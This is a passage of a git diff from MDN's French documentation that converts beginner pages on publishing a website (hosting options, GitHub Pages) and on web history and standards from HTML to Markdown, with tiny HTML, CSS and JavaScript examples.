fonctionnalité très utile appelée <a href="https://pages.github.com/">Pages GitHub</a>, qui vous permet de présenter du code de site web en direct sur le web.</li> - <li><a href="https://cloud.google.com/appengine/" title="App Engine - Build Scalable Web & Mobile Backends in Any Language | Google Cloud Platform">Google App Engine</a> est une plateforme puissante qui vous permet de construire et d'exécuter des applications sur l'infrastructure de Google --- que vous ayez besoin de construire une application web multi‑couche à partir de zéro ou d'héberger un site web statique. Voir <a href="/fr/docs/Learn/Common_questions/How_do_you_host_your_website_on_Google_App_Engine">Comment héberger votre site Web sur Google App Engine ?</a> pour plus d'information.</li> -</ul> +Ces options sont généralement gratuites, mais vous risquez d'être dépassé par les limitations du nombre de fonctionnalités. -<p>Ces options sont généralement gratuites, mais vous risquez d'être dépassé par les limitations du nombre de fonctionnalités.</p> +### Utiliser un EDI web tel que CodePen -<h3 id="Using_a_web-based_IDE_such_as_CodePen">Utiliser un EDI web tel que CodePen</h3> +Il existe un certain nombre d'applications web qui émulent un environnement de développement de site web, vous permettant de saisir du HTML, des CSS et du JavaScript, puis d'afficher le résultat de ce code tel qu'il le serait sur un site web — le tout dans un seul onglet de navigateur. De façon générale, ces outils sont très simples, très utiles pour apprendre, gratuits (pour les fonctionnalités de bases), et ils hébergent votre page finie à une adresse unique. Cependant, les fonctionnalités de base sont passablement limitées, et les applications ne fournissent habituellement pas d'espace d'hébergement pour des ressources (comme des images). -<p>Il existe un certain nombre d'applications web qui émulent un environnement de développement de site web, vous permettant de saisir du HTML, des CSS et du JavaScript, puis d'afficher le résultat de ce code tel qu'il le serait sur un site web — le tout dans un seul onglet de navigateur. De façon générale, ces outils sont très simples, très utiles pour apprendre, gratuits (pour les fonctionnalités de bases), et ils hébergent votre page finie à une adresse unique. Cependant, les fonctionnalités de base sont passablement limitées, et les applications ne fournissent habituellement pas d'espace d'hébergement pour des ressources (comme des images).</p> +Faites des essais avec certains de ces exemples et voyez lequel vous aimez le mieux : -<p>Faites des essais avec certains de ces exemples et voyez lequel vous aimez le mieux :</p> +- [JSFiddle](https://jsfiddle.net/) +- [Glitch](https://glitch.com/) +- [JSBin](http://jsbin.com/) +- [CodePen](https://codepen.io/) -<ul> - <li><a href="https://jsfiddle.net/">JSFiddle</a></li> - <li><a href="https://glitch.com/">Glitch</a></li> - <li><a href="http://jsbin.com/">JSBin</a></li> - <li><a href="https://codepen.io/">CodePen</a></li> -</ul> + -<p><img alt="" src="jsbin-screen.png"></p> +## Publier via GitHub -<h2 id="Publishing_via_GitHub">Publier via GitHub</h2> +Maintenant, nous allons vous montrer comment publier facilement votre site via les pages GitHub. -<p>Maintenant, nous allons vous montrer comment publier facilement votre site via les pages GitHub.</p> +1. Pour commencer, [inscrivez-vous sur GitHub](https://github.com/join) et vérifiez votre adresse e-mail. +2. Ensuite, [créez un dépôt](https://github.com/new) dans lequel vous placerez vos fichiers. +3. Sur cette page, dans le champ _Repository name_, entrez _username_.github.io : _username_ est votre nom d'utilisateur. Ainsi, par exemple, notre ami bobsmith entrera _bobsmith.github.io_. + Également, cochez _Initialize this repository with a README_, puis cliquez sur _Create repository_. +4. Ensuite, glissez-déposez le contenu du dossier de votre site Web dans votre référentiel, puis cliquez sur _Commit changes_. -<ol> - <li>Pour commencer, <a href="https://github.com/join">inscrivez-vous sur GitHub</a> et vérifiez votre adresse e-mail.</li> - <li>Ensuite, <a href="https://github.com/new">créez un dépôt</a> dans lequel vous placerez vos fichiers.</li> - <li>Sur cette page, dans le champ <em>Repository name</em>, entrez <em>username</em>.github.io : <em>username</em> est votre nom d'utilisateur. Ainsi, par exemple, notre ami bobsmith entrera <em>bobsmith.github.io</em>.<br> - Également, cochez <em>Initialize this repository with a README</em>, puis cliquez sur <em>Create repository</em>.<img alt="" src="github-create-repo.png"></li> - <li>Ensuite, glissez-déposez le contenu du dossier de votre site Web dans votre référentiel, puis cliquez sur <em>Commit changes</em>. - <div class="notecard note"> - <p><strong>Note :</strong> Assurez-vous que votre dossier comporte bien un fichier <em>index.html.</em></p> - </div> - </li> - <li>Maintenant, naviguez jusqu'à <em>username</em>.github.io pour voir votre site web en ligne. Par exemple, pour le nom d'utilisateur <em> chrisdavidmills</em>, allez à <a href="https://chrisdavidmills.github.io/">chrisdavidmills.github.io</a>. - <div class="notecard note"> - <p><strong>Note :</strong> Cela peut prendre quelques minutes avant que votre site web soit actif. S'il ne fonctionne pas immédiatement, attendez quelques minutes, puis essayez à nouveau.</p> - </div> - </li> -</ol> + > **Note :** Assurez-vous que votre dossier comporte bien un fichier _index.html._ -<p>Pour en savoir plus, voyez <a href="https://docs.github.com/en/github/working-with-github-pages/getting-started-with-github-pages">GitHub Pages Help</a>.</p> +5. Maintenant, naviguez jusqu'à _username_.github.io pour voir votre site web en ligne. Par exemple, pour le nom d'utilisateur _chrisdavidmills_, allez à [chrisdavidmills.github.io](https://chrisdavidmills.github.io/). -<h2 id="Further_reading">Lectures pour approfondir</h2> + > **Note :** Cela peut prendre quelques minutes avant que votre site web soit actif. S'il ne fonctionne pas immédiatement, attendez quelques minutes, puis essayez à nouveau. -<ul> - <li><a href="/fr/docs/Learn/Common_questions/What_is_a_web_server">Qu'est-ce qu'un serveur web</a></li> - <li><a href="/fr/docs/Learn/Common_questions/What_is_a_domain_name">Comprendre les noms de domaine</a></li> - <li><a href="/fr/docs/Learn/Common_questions/How_much_does_it_cost">Combien ça coûte de faire quelque chose sur le Web ?</a></li> - <li><a href="https://www.codecademy.com/learn/deploy-a-website">Deploy a Website </a>: un bon tutoriel de Codecademy qui va plus un peu plus loin et qui montre quelques techniques supplémentaires.</li> - <li><a href="http://alignedleft.com/resources/cheap-web-hosting">Hébergement de sites web statiques gratuit ou peu cher</a>, un billet en anglais par Scott Murray qui permet d'avoir une meilleure idée des services disponibles.</li> -</ul> +Pour en savoir plus, voyez [GitHub Pages Help](https://docs.github.com/en/github/working-with-github-pages/getting-started-with-github-pages). -<p>{{PreviousMenuNext("Apprendre/Commencer_avec_le_web/Les_bases_JavaScript", "Apprendre/Commencer_avec_le_web/Le_fonctionnement_du_Web","Apprendre/Commencer_avec_le_web")}}</p> +## Lectures pour approfondir -<h2 id="In_this_module">Dans ce module</h2> +- [Qu'est-ce qu'un serveur web](/fr/docs/Learn/Common_questions/What_is_a_web_server) +- [Comprendre les noms de domaine](/fr/docs/Learn/Common_questions/What_is_a_domain_name) +- [Combien ça coûte de faire quelque chose sur le Web ?](/fr/docs/Learn/Common_questions/How_much_does_it_cost) +- [Deploy a Website ](https://www.codecademy.com/learn/deploy-a-website): un bon tutoriel de Codecademy qui va plus un peu plus loin et qui montre quelques techniques supplémentaires. +- [Hébergement de sites web statiques gratuit ou peu cher](http://alignedleft.com/resources/cheap-web-hosting), un billet en anglais par Scott Murray qui permet d'avoir une meilleure idée des services disponibles. -<ul> - <li><a href="/fr/docs/Learn/Getting_started_with_the_web/Installing_basic_software">Installation des outils de base</a></li> - <li><a href="/fr/docs/Learn/Getting_started_with_the_web/What_will_your_website_look_like">Quel sera l'aspect de votre site web ?</a></li> - <li><a href="/fr/docs/Learn/Getting_started_with_the_web/Dealing_with_files">Gérer les fichiers</a></li> - <li><a href="/fr/docs/Learn/Getting_started_with_the_web/HTML_basics">Les bases du HTML</a></li> - <li><a href="/fr/docs/Learn/Getting_started_with_the_web/CSS_basics">Les bases de CSS</a></li> - <li><a href="/fr/docs/Learn/Getting_started_with_the_web/JavaScript_basics">Les bases de JavaScript</a></li> - <li><a href="/fr/docs/Learn/Getting_started_with_the_web/Publishing_your_website">Publier votre site web</a></li> - <li><a href="/fr/docs/Learn/Getting_started_with_the_web/How_the_Web_works">Le fonctionnement du Web</a></li> -</ul> +{{PreviousMenuNext("Apprendre/Commencer_avec_le_web/Les_bases_JavaScript", "Apprendre/Commencer_avec_le_web/Le_fonctionnement_du_Web","Apprendre/Commencer_avec_le_web")}} + +## Dans ce module + +- [Installation des outils de base](/fr/docs/Learn/Getting_started_with_the_web/Installing_basic_software) +- [Quel sera l'aspect de votre site web ?](/fr/docs/Learn/Getting_started_with_the_web/What_will_your_website_look_like) +- [Gérer les fichiers](/fr/docs/Learn/Getting_started_with_the_web/Dealing_with_files) +- [Les bases du HTML](/fr/docs/Learn/Getting_started_with_the_web/HTML_basics) +- [Les bases de CSS](/fr/docs/Learn/Getting_started_with_the_web/CSS_basics) +- [Les bases de JavaScript](/fr/docs/Learn/Getting_started_with_the_web/JavaScript_basics) +- [Publier votre site web](/fr/docs/Learn/Getting_started_with_the_web/Publishing_your_website) +- [Le fonctionnement du Web](/fr/docs/Learn/Getting_started_with_the_web/How_the_Web_works) diff --git a/files/fr/learn/getting_started_with_the_web/the_web_and_web_standards/index.md b/files/fr/learn/getting_started_with_the_web/the_web_and_web_standards/index.md index c06de51317..a57c2e1a91 100644 --- a/files/fr/learn/getting_started_with_the_web/the_web_and_web_standards/index.md +++ b/files/fr/learn/getting_started_with_the_web/the_web_and_web_standards/index.md @@ -10,162 +10,154 @@ tags: translation_of: Learn/Getting_started_with_the_web/The_web_and_web_standards original_slug: Apprendre/Commencer_avec_le_web/The_web_and_web_standards --- -<p>{{learnsidebar}}</p> +{{learnsidebar}} -<p>Cet article apporte des connaissances générales sur le Web — Comment il est né, quelles sont les technologies usuelles du web, comment interagissent-elles ensemble, pourquoi "développeur web" est un excellent choix de carrière, et quels types de bonnes pratiques pourrez-vous apprendrez au fil de ce cours.</p> +Cet article apporte des connaissances générales sur le Web — Comment il est né, quelles sont les technologies usuelles du web, comment interagissent-elles ensemble, pourquoi "développeur web" est un excellent choix de carrière, et quels types de bonnes pratiques pourrez-vous apprendrez au fil de ce cours. -<h2 id="Une_brève_histoire_du_web">Une brève histoire du web</h2> +## Une brève histoire du web -<p>Nous allons passer très rapidement sur ce sujet puisqu'il existe de nombreux articles (plus) détaillés de l'histoire du web, vers lesquelles nous pourrons créer des liens un peu plus loin (si cela vous passionne, vous pouvez également rechercher "histoire du web" dans votre moteur de recherche favori et regarder ce que vous trouverez.)</p> +Nous allons passer très rapidement sur ce sujet puisqu'il existe de nombreux articles (plus) détaillés de l'histoire du web, vers lesquelles nous pourrons créer des liens un peu plus loin (si cela vous passionne, vous pouvez également rechercher "histoire du web" dans votre moteur de recherche favori et regarder ce que vous trouverez.) -<p>À la fin des années 60, l'armée américaine a développé un réseau de communication nommé <a href="/fr/docs/Glossary/Arpanet">ARPANET</a>. On peut le considérer comme un précurseur du Web puisqu'il travaillait sur la <a href="https://fr.wikipedia.org/wiki/Commutation_de_paquets">commutation de paquets</a> et constituait la première implémentation de la suite de protocoles <a href="https://fr.wikipedia.org/wiki/Suite_des_protocoles_Internet">TCP/IP</a>. Ces deux technologies forment la base de l'infrastructure sur laquelle est construit Internet</p> +À la fin des années 60, l'armée américaine a développé un réseau de communication nommé [ARPANET](/fr/docs/Glossary/Arpanet). On peut le considérer comme un précurseur du Web puisqu'il travaillait sur la [commutation de paquets](https://fr.wikipedia.org/wiki/Commutation_de_paquets) et constituait la première implémentation de la suite de protocoles [TCP/IP](https://fr.wikipedia.org/wiki/Suite_des_protocoles_Internet). Ces deux technologies forment la base de l'infrastructure sur laquelle est construit Internet -<p>En 1980, Tim Berners-Lee (souvent abrégé TimBL) a écrit un programme nommé ENQUIRE, basé sur le concept de liens entre différents points. Cela vous dit quelque chose ?</p> +En 1980, Tim Berners-Lee (souvent abrégé TimBL) a écrit un programme nommé ENQUIRE, basé sur le concept de liens entre différents points. Cela vous dit quelque chose ? -<p>Avance rapide jusqu'en 1989, où TimBL a écrit <a href="https://www.w3.org/History/1989/proposal.html">Information Management: A Proposal</a> et HyperText at CERN; Ces deux ouvrages fournissent tout le contexte du fonctionnement du Web. Ils ont bénéficié d'une renommé forte, suffisante pour convaincre les patrons de TimBL de le laisser aller de l'avant et de créer un système hypertexte global.</p> +Avance rapide jusqu'en 1989, où TimBL a écrit [Information Management: A Proposal](https://www.w3.org/History/1989/proposal.html) et HyperText at CERN; Ces deux ouvrages fournissent tout le contexte du fonctionnement du Web. Ils ont bénéficié d'une renommé forte, suffisante pour convaincre les patrons de TimBL de le laisser aller de l'avant et de créer un système hypertexte global. -<p>À la fin des années 90, TimBL avait créé tout le nécessaire pour faire fonctionner une première version du web — <a href="/fr/docs/Web/HTTP">HTTP</a>, <a href="/fr/docs/Web/HTML">HTML</a>, le premier navigateur, qui s'appelait <a href="https://fr.wikipedia.org/wiki/WorldWideWeb_(navigateur)">WorldWideWeb</a>, un serveur HTTP et quelques pages web à lire.</p> +À la fin des années 90, TimBL avait créé tout le nécessaire pour faire fonctionner une première version du web — [HTTP](/fr/docs/Web/HTTP), [HTML](/fr/docs/Web/HTML), le premier navigateur, qui s'appelait [WorldWideWeb](<https://fr.wikipedia.org/wiki/WorldWideWeb_(navigateur)>), un serveur HTTP et quelques pages web à lire. -<p>Les années suivantes ont vu l'explosion du web, avec la sortie de nombreux navigateurs, la mise en place de milliers de serveurs web et la création de millions de pages web. Ce résumé est très simpliste mais nous vous avions promis qu'il serait bref.</p> +Les années suivantes ont vu l'explosion du web, avec la sortie de nombreux navigateurs, la mise en place de milliers de serveurs web et la création de millions de pages web. Ce résumé est très simpliste mais nous vous avions promis qu'il serait bref. -<p>Un dernier point important à évoquer est la fondation en 1994 par TimBL du <a href="https://fr.wikipedia.org/wiki/World_Wide_Web_Consortium">World Wide Web Consortium</a> (W3C), une organisation rassemblant des représentants de plusieurs entreprises du numérique pour travailler ensemble à la définition de normes pour les technologies du web. D'autres technologies ont ensuite vu le jour comme le <a href="/fr/docs/Web/CSS">CSS</a> et le <a href="/fr/docs/Web/JavaScript">JavaScript</a>, et le web a commencé à ressembler à ce que nous connaissons aujourd'hui.</p> +Un dernier point important à évoquer est la fondation en 1994 par TimBL du [World Wide Web Consortium](https://fr.wikipedia.org/wiki/World_Wide_Web_Consortium) (W3C), une organisation rassemblant des représentants de plusieurs entreprises du numérique pour travailler ensemble à la définition de normes pour les technologies du web. D'autres technologies ont ensuite vu le jour comme le [CSS](/fr/docs/Web/CSS) et le [JavaScript](/fr/docs/Web/JavaScript), et le web a commencé à ressembler à ce que nous connaissons aujourd'hui. -<h2 id="Les_standards_du_Web">Les standards du Web</h2> +## Les standards du Web -<p><strong>Les normes Web sont les technologies que nous utilisons pour créer des sites Web. Ces normes existent sous forme de longs documents techniques appelés spécifications, qui détaillent exactement comment la technologie doit fonctionner. Ces documents ne sont pas très utiles pour apprendre à utiliser les technologies qu'ils décrivent (c'est pourquoi nous avons des sites comme MDN Web Docs), mais sont plutôt destinés à être utilisés par des ingénieurs logiciel pour implémenter ces technologies (généralement dans des navigateurs Web).</strong></p> +**Les normes Web sont les technologies que nous utilisons pour créer des sites Web. Ces normes existent sous forme de longs documents techniques appelés spécifications, qui détaillent exactement comment la technologie doit fonctionner. Ces documents ne sont pas très utiles pour apprendre à utiliser les technologies qu'ils décrivent (c'est pourquoi nous avons des sites comme MDN Web Docs), mais sont plutôt destinés à être utilisés par des ingénieurs logiciel pour implémenter ces technologies (généralement dans des navigateurs Web).** -<p>Par exemple <a href="https://html.spec.whatwg.org/multipage/">HTML Living Standard</a> décrit exactement comment le HTML (tous les éléments HTML ainsi que les APIs associées et d'autres technologies proches) devraient être implémentées.</p> +Par exemple [HTML Living Standard](https://html.spec.whatwg.org/multipage/) décrit exactement comment le HTML (tous les éléments HTML ainsi que les APIs associées et d'autres technologies proches) devraient être implémentées. -<p>Les standards Web sont définies par des organisations de normalisation — des institutions qui invite des groupes de personnes de différentes compagnies technologiques à se réunir et s'entendre sur la manière dont les technologies devraient fonctionner pour satisfaire au mieux tous les cas de figure. W3C est le plus connu des organismes de normalisation, même si d'autres existent également, comme le <a href="https://whatwg.org/">WHATWG</a> (à l'origine de la modernisation du langage HTML), <a href="https://www.ecma-international.org/">ECMA</a> (qui publie les normes ECMAScript, sur lesquelles est basé JavaScript), <a href="https://www.khronos.org/">Khronos</a> (qui publie des standards pour les graphismes 3D, comme WebGL), et d'autres encore.</p> +Les standards Web sont définies par des organisations de normalisation — des institutions qui invite des groupes de personnes de différentes compagnies technologiques à se réunir et s'entendre sur la manière dont les technologies devraient fonctionner pour satisfaire au mieux tous les cas de figure. W3C est le plus connu des organismes de normalisation, même si d'autres existent également, comme le [WHATWG](https://whatwg.org/) (à l'origine de la modernisation du langage HTML), [ECMA](https://www.ecma-international.org/) (qui publie les normes ECMAScript, sur lesquelles est basé JavaScript), [Khronos](https://www.khronos.org/) (qui publie des standards pour les graphismes 3D, comme WebGL), et d'autres encore. -<h3 id="Normes_ouvertes">Normes "ouvertes"</h3> +### Normes "ouvertes" -<p>L'un des aspects clés des normes Web, sur lequel TimBL et le W3C se sont immédiatement mis d'accord, est que le Web (et les technologies Web) devraient être libres d'utilisation et de contribution, et non pas freinées par des brevets ou des licences. Par conséquent, n'importe qui peut écrire gratuitement du code pour créer un site Web, et n'importe qui peut contribuer au processus de création de normes et d'écriture de spécifications.</p> +L'un des aspects clés des normes Web, sur lequel TimBL et le W3C se sont immédiatement mis d'accord, est que le Web (et les technologies Web) devraient être libres d'utilisation et de contribution, et non pas freinées par des brevets ou des licences. Par conséquent, n'importe qui peut écrire gratuitement du code pour créer un site Web, et n'importe qui peut contribuer au processus de création de normes et d'écriture de spécifications. -<p>Le fait que les technologies Web soient créées librement, en collaboration entre de nombreuses entreprises différentes, signifie qu'aucune entreprise ne peut les contrôler, ce qui est une excellente chose. Vous ne voudriez pas qu'une seule entreprise décide soudainement de rendre payant l'intégralité du Web ou de publier une nouvelle version de HTML que tout le monde doive acheter pour continuer à créer des sites Web, ou pire encore, ne décide simplement qu'elle n'est plus intéressée par le Web et l'éteindre.</p> +Le fait que les technologies Web soient créées librement, en collaboration entre de nombreuses entreprises différentes, signifie qu'aucune entreprise ne peut les contrôler, ce qui est une excellente chose. Vous ne voudriez pas qu'une seule entreprise décide soudainement de rendre payant l'intégralité du Web ou de publier une nouvelle version de HTML que tout le monde doive acheter pour continuer à créer des sites Web, ou pire encore, ne décide simplement qu'elle n'est plus intéressée par le Web et l'éteindre. -<p>Cela permet au Web de rester une ressource publique librement accessible.</p> +Cela permet au Web de rester une ressource publique librement accessible. -<h3 id="Ne_cassez_pas_le_web">Ne cassez pas le web</h3> +### Ne cassez pas le web -<p>Une phrase qu'on entend souvent à propos des normes web ouvertes est "Ne cassez pas le web" ("<em>don't break the web</em>") — Cela signifie que toute nouvelle technologie Web introduite devrait être rétrocompatible avec ce qui l'a précédée (donc que les anciens sites Web continueront de fonctionner), et compatible avec l'avenir (les technologies futures seront à leur tour compatibles avec ce que nous avons actuellement). En parcourant les explications présentés ici, vous découvrirez comment un travail de conception et d'implémentation bien pensé rend cela possible.</p> +Une phrase qu'on entend souvent à propos des normes web ouvertes est "Ne cassez pas le web" ("_don't break the web_") — Cela signifie que toute nouvelle technologie Web introduite devrait être rétrocompatible avec ce qui l'a précédée (donc que les anciens sites Web continueront de fonctionner), et compatible avec l'avenir (les technologies futures seront à leur tour compatibles avec ce que nous avons actuellement). En parcourant les explications présentés ici, vous découvrirez comment un travail de conception et d'implémentation bien pensé rend cela possible. -<h2 id="Être_développeur_web_cest_bien">Être développeur web, c'est bien</h2> +## Être développeur web, c'est bien -<p>L'industrie du Web est un secteur très attractif si vous êtes à la recherche d'un emploi. Les derniers chiffres publiés estiment le nombre actuel de développeurs Web dans le monde à environ 19 millions, un nombre qui devrait au moins doubler au cours de la prochaine décennie. Le secteur connaissant dans le même temps une pénurie de compétences, y a-t-il un meilleur moment pour apprendre le développement Web?</p> +L'industrie du Web est un secteur très attractif si vous êtes à la recherche d'un emploi. Les derniers chiffres publiés estiment le nombre actuel de développeurs Web dans le monde à environ 19 millions, un nombre qui devrait au moins doubler au cours de la prochaine décennie. Le secteur connaissant dans le même temps une pénurie de compétences, y a-t-il un meilleur moment pour apprendre le développement Web? -<p>Ce n'est cependant pas juste des jeux et de l'amusement - la création de sites Web est une tâche qui se complexifie avec le temps, et vous devrez consacrer du temps à l'étude de plusieurs technologies différentes, de nombreuses méthodes et bonnes pratiques à connaître et tous les cas de figure classiques que vous serez appelé à mettre en œuvre. Vous aurez besoin de quelques mois pour vraiment entrer dans le sujet, puis vous devrez continuer à apprendre afin de maintenir vos connaissances à jour avec tous les nouveaux outils et fonctionnalités qui apparaissent sur le Web, et continuer à pratiquer afin de perfectionner votre travail.</p> +Ce n'est cependant pas juste des jeux et de l'amusement - la création de sites Web est une tâche qui se complexifie avec le temps, et vous devrez consacrer du temps à l'étude de plusieurs technologies différentes, de nombreuses méthodes et bonnes pratiques à connaître et tous les cas de figure classiques que vous serez appelé à mettre en œuvre. Vous aurez besoin de quelques mois pour vraiment entrer dans le sujet, puis vous devrez continuer à apprendre afin de maintenir vos connaissances à jour avec tous les nouveaux outils et fonctionnalités qui apparaissent sur le Web, et continuer à pratiquer afin de perfectionner votre travail. -<p><em>La seule constante est la variation.</em></p> +_La seule constante est la variation._ -<p>Cela vous semble difficile ? Pas d'inquiétude, notre objectif est de vous donner toutes les bases pour débuter, ce qui vous facilitera la suite. Une fois que vous aurez accepté le changement permanent et l'inconstance du Web, vous commencerez à vous amuser. En tant que membre de la communauté Web, vous aurez tout un réseau de contacts et de ressources web pour vous aider, qui vous aideront à profiter des possibilités créatives du web.</p> +Cela vous semble difficile ? Pas d'inquiétude, notre objectif est de vous donner toutes les bases pour débuter, ce qui vous facilitera la suite. Une fois que vous aurez accepté le changement permanent et l'inconstance du Web, vous commencerez à vous amuser. En tant que membre de la communauté Web, vous aurez tout un réseau de contacts et de ressources web pour vous aider, qui vous aideront à profiter des possibilités créatives du web. -<p>Vous êtes désormais un créateur du numérique. Profitez de l'expérience et trouvez votre gagne-pain.</p> +Vous êtes désormais un créateur du numérique. Profitez de l'expérience et trouvez votre gagne-pain. -<h2 id="Vue_densemble_des_outils_Web_modernes">Vue d'ensemble des outils Web modernes</h2> +## Vue d'ensemble des outils Web modernes -<p>Il existe plusieurs technologies à maîtriser si vous souhaitez devenir développeur Web front-end, que nous décrirons brièvement dans cette section. Pour une explication plus détaillée de la façon dont certains d'entre eux interagissent, lisez notre article <a href="/fr/docs/Learn/Getting_started_with_the_web/How_the_Web_works">Le fonctionnement du web</a>.</p> +Il existe plusieurs technologies à maîtriser si vous souhaitez devenir développeur Web front-end, que nous décrirons brièvement dans cette section. Pour une explication plus détaillée de la façon dont certains d'entre eux interagissent, lisez notre article [Le fonctionnement du web](/fr/docs/Learn/Getting_started_with_the_web/How_the_Web_works). -<h3 id="Navigateurs_web">Navigateurs web</h3> +### Navigateurs web -<p>Vous êtes probablement en train de lire ces mots à l'aide d'un navigateur web (à moins que vous ne l'ayez imprimé ou que vous utilisiez un outil d'accessibilité comme un lecteur d'écran). Les navigateurs web sont des logiciels que les gens utilisent pour naviguer sur le web, comme <a href="https://www.mozilla.org/fr/firefox/">Firefox</a>, <a href="https://www.google.com/chrome/">Chrome</a>, <a href="https://www.opera.com/">Opera</a>, <a href="https://www.apple.com/fr/safari/">Safari</a>, <a href="https://www.microsoft.com/fr-fr/windows/microsoft-edge">Edge</a>.</p> +Vous êtes probablement en train de lire ces mots à l'aide d'un navigateur web (à moins que vous ne l'ayez imprimé ou que vous utilisiez un outil d'accessibilité comme un lecteur d'écran). Les navigateurs web sont des logiciels que les gens utilisent pour naviguer sur le web, comme [Firefox](https://www.mozilla.org/fr/firefox/), [Chrome](https://www.google.com/chrome/), [Opera](https://www.opera.com/), [Safari](https://www.apple.com/fr/safari/), [Edge](https://www.microsoft.com/fr-fr/windows/microsoft-edge). -<h3 id="HTTP">HTTP</h3> +### HTTP -<p>Hypertext Transfer Protocol, ou <a href="/fr/docs/Web/HTTP/Basics_of_HTTP">HTTP</a>, est un protocole de communication permettant aux navigateurs web de communiquer avec des serveurs web (qui hébergent les sites web). Une conversation type ressemble à quelque chose comme</p> +Hypertext Transfer Protocol, ou [HTTP](/fr/docs/Web/HTTP/Basics_of_HTTP), est un protocole de communication permettant aux navigateurs web de communiquer avec des serveurs web (qui hébergent les sites web). Une conversation type ressemble à quelque chose comme -<pre>"Bonjour Serveur Web. Peux-tu me fournir les fichiers requis pour afficher bbc.co.uk"? + "Bonjour Serveur Web. Peux-tu me fournir les fichiers requis pour afficher bbc.co.uk"? -"Bien sûr Navigateur Web - Les voilà" + "Bien sûr Navigateur Web - Les voilà" -[Télécharge les fichiers et affiche la page]</pre> + [Télécharge les fichiers et affiche la page] -<p>La véritable syntaxe des messages HTTP (appelés requêtes et réponses) ne ressemble pas vraiment à une conversation humaine, mais cela permet d'en avoir un aperçu.</p> +La véritable syntaxe des messages HTTP (appelés requêtes et réponses) ne ressemble pas vraiment à une conversation humaine, mais cela permet d'en avoir un aperçu. -<h3 id="HTML_CSS_et_JavaScript">HTML, CSS et JavaScript</h3> +### HTML, CSS et JavaScript -<p><a href="/fr/docs/Web/HTML">HTML</a>, <a href="/fr/docs/Web/CSS">CSS</a>, et <a href="/fr/docs/Web/JavaScript">JavaScript</a> sont les trois principales technologies utilisées pour créer un site web:</p> +[HTML](/fr/docs/Web/HTML), [CSS](/fr/docs/Web/CSS), et [JavaScript](/fr/docs/Web/JavaScript) sont les trois principales technologies utilisées pour créer un site web: -<ul> - <li> - <p>Hypertext Markup Language, ou <strong>HTML</strong>, est un langage de balises consistant en un ensemble d'éléments qui permettent d'encapsuler (de baliser) du contenu pour lui donner du sens (sémantique) et le structurer. Un extrait simple ressemble à cela :</p> +- Hypertext Markup Language, ou **HTML**, est un langage de balises consistant en un ensemble d'éléments qui permettent d'encapsuler (de baliser) du contenu pour lui donner du sens (sémantique) et le structurer. Un extrait simple ressemble à cela : - <pre class="brush: html"><h1>Ceci est un titre de haut niveau</h1> + ```html + <h1>Ceci est un titre de haut niveau</h1> -<p>Voilà un paragraphe de texte</p> + <p>Voilà un paragraphe de texte</p> -<img src="chat.jpg" alt="Une image de mon chat"></pre> + <img src="chat.jpg" alt="Une image de mon chat"> + ``` - <p>Si nous faisions une analogie avec la construction d'une maison, le HTML serait les fondations et les murs de la maison, qui lui fournissent une architecture et maintien l'ensemble d'un bloc.</p> - </li> - <li> - <p>Les Feuilles de Style en cascade (<strong>CSS </strong>- Cascading Style Sheets) est un langage basé sur un ensemble de règles et utilisé pour appliquer des styles à votre HTML, par exemple pour définir la couleur du texte et de l'arrière-plan, ajouter des bordures, animer des éléments, ou agencer les différentes parties d'une page. Par exemple, le code suivant rendrait notre paragraphe HTML rouge:</p> + Si nous faisions une analogie avec la construction d'une maison, le HTML serait les fondations et les murs de la maison, qui lui fournissent une architecture et maintien l'ensemble d'un bloc. - <pre class="brush: css">p { - color: red; -}</pre> +- Les Feuilles de Style en cascade (**CSS** - Cascading Style Sheets) est un langage basé sur un ensemble de règles et utilisé pour appliquer des styles à votre HTML, par exemple pour définir la couleur du texte et de l'arrière-plan, ajouter des bordures, animer des éléments, ou agencer les différentes parties d'une page. Par exemple, le code suivant rendrait notre paragraphe HTML rouge: - <p>Dans notre méthaphore domestique, le CSS serait la peinture, la tapisserie, les tapis et les tableaux que vous utiliseriez pour décorer votre maison.</p> - </li> - <li> - <p><strong>JavaScript</strong> est le langage de programmation que l'on utilise pour ajouter de l'interactivité aux sites webs, du changement de style dynamique à la récupération de mise à jour depuis le server, en passant par les animations visuelles complexes. Ce petit fragment de code JavaScript va stocker un lien vers notre paragraphe et en changer le contenu :</p> + ```css + p { + color: red; + } + ``` - <pre class="brush: js">let pElem = document.querySelector('p'); -pElem.textContent = 'J'ai changé le texte!';</pre> + Dans notre méthaphore domestique, le CSS serait la peinture, la tapisserie, les tapis et les tableaux que vous utiliseriez pour décorer votre maison. - <p>Dans l'analogie de la maison, JavaScript serait le four, la télévision, le sèche-cheveux — Tout ce qui donne des fonctionnalités utiles à votre logement.</p> - </li> -</ul> +- **JavaScript** est le langage de programmation que l'on utilise pour ajouter de l'interactivité aux sites webs, du changement de style dynamique à la récupération de mise à jour depuis le server, en passant par les animations visuelles complexes. Ce petit fragment de code JavaScript va stocker un lien vers notre paragraphe et en changer le contenu : -<h3 id="Outils">Outils</h3> + ```js + let pElem = document.querySelector('p'); + pElem.textContent = 'J'ai changé le texte!'; + ``` -<p>Une fois que vous maîtriserez les technologies "brutes" qui permettent de construire des pages web (comme HTML, CSS, et JavaScript), vous rencontrerez rapidement divers outils permettant de faciliter ou d'accélerer votre travail. On peut citer comme exemples :</p> + Dans l'analogie de la maison, JavaScript serait le four, la télévision, le sèche-cheveux — Tout ce qui donne des fonctionnalités utiles à votre logement. -<ul> - <li>Les <a href="/fr/docs/Learn/Common_questions/What_are_browser_developer_tools">outils de développement</a> des navigateurs modernes qui permettent de déboguer votre code.</li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Cross_browser_testing">Des outils de test</a> pouvant être utilisés afin de vérifier si votre code se comporte comme vous l'aviez prévu.</li> - <li>Des bibliothèques et des cadres de travail (frameworks) basés sur JavaScript qui permettent de créer certains types de sites web beaucoup plus rapidement et efficacement .</li> - <li>Ce qu'on appelle les "Linters", des outils d'analyse qui prennent une liste de règles, parcourent votre code et listent les endroits où vous n'avez pas parfaitement suivi les règles.</li> - <li>Des minificateurs, qui retirent tous les blancs de vos fichiers de code pour les rendre plus compacts et donc plus rapides à télécharger.</li> -</ul> +### Outils -<h3 id="Langages_et_frameworks_«_côté_serveur_»">Langages et frameworks « côté serveur »</h3> +Une fois que vous maîtriserez les technologies "brutes" qui permettent de construire des pages web (comme HTML, CSS, et JavaScript), vous rencontrerez rapidement divers outils permettant de faciliter ou d'accélerer votre travail. On peut citer comme exemples : -<p>HTML, CSS et JavaScript sont des langages "front-end" (ou « côté client »), ce qui signifie qu'ils sont exécutés par le navigateur pour produire un rendu visuel du site web à destination des utilisateurs.</p> +- Les [outils de 